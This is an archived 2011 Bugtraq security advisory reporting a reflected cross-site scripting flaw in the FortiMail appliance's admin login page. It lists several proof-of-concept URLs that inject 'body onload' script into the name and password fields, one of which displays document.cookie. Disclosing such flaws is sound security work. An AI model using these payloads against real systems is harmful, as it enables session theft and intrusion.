bugtraq - XSS vulnerability in FortiMail Messaging Security Appliance

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 13 Sep 2011 06:27:00 GMT
From: sschurtz@...nline.de
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in FortiMail Messaging Security Appliance

Advisory:           XSS vulnerability in FortiMail Messaging Security Appliance
Advisory ID:        SSCHADV2011-011
Author:             Stefan Schurtz
Affected Software:  v4.0,build0245,101208 (MR1 Patch 2)
Vendor URL:         http://www.fortinet.com/
Vendor Status:      informed

==========================
Vulnerability Description:
==========================

The Fortinet "FortiMail Messaging Security Appliance" is prone to a XSS vulnerability

==================
Technical Details:
==================

Tested on:

FortiMail 100 / 400
Firmware version: v4.0,build0245,101208 (MR1 Patch 2)
Internet Explorer 8 

https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name='"<body onload=alert(666)>&password=admin
https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=admin&password='"<body onload=alert(666)>

or

https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=<body onload=alert(String.fromCharCode(88,83,83))>&password=admin
https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=admin&password=<body onload=alert(String.fromCharCode(88,83,83))>

or

https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=<body onload=alert(document.cookie)>&password=admin

=========
Solution:
=========

-

====================
Disclosure Timeline:
====================

31-Aug-2011 - informed the Zero Day Initiative (ZDI) - no response
13-Sep-2011 - informed vendor
13-Sep-2011 - release date of this security advisory

========
Credits:
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.fortinet.com/
http://www.rul3z.de/advisories/SSCHADV2011-011.txt